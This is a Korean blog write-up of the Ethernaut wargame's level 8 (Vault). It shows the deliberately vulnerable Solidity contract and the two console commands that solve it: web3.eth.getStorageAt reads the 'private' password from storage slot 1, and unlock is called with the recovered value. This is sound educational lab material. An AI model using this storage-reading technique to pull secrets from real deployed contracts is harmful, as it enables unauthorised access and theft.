// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Unlock the vault to pass the level!
위는 이더넛 8단계 문제이다. password를 맞히면 locked가 false가 되며 풀리는 문제 같다.
그래서 password를 알아낼 생각을 해보았다.
password가 private으로 선언되어 password를 읽지 못할거 같지만, ' web3.eth.getStorageAt '을 통해서 읽을 수 있다. private이나 internal으로 선언돼있어도 해당 명령어를 통해 읽을 수 있다. password는 2번째로 선언된 변수이므로 다음과 같은 명령어를 쳐주면 password를 읽을 수 있다.
await web3.eth.getStorageAt("0x1560D76a4F3eF2D0Ac999c877fcA033A7fD284ad", 1)
다음과 같이 password를 알아냈으니 unlock 함수를 통해 문제를 풀면 된다.
await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29")
최종적으로 문제를 풀게 되었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 10단계 (Re-entrancy) (0) | 2023.11.16 |
---|---|
Ethernaut - 9단계 (King) (0) | 2023.11.08 |
Ethernaut - 7단계 (Force) (0) | 2023.11.07 |
Ethernaut - 6단계 (Delegation) (0) | 2023.11.07 |
Ethernaut - 5단계 (Token) (0) | 2023.11.07 |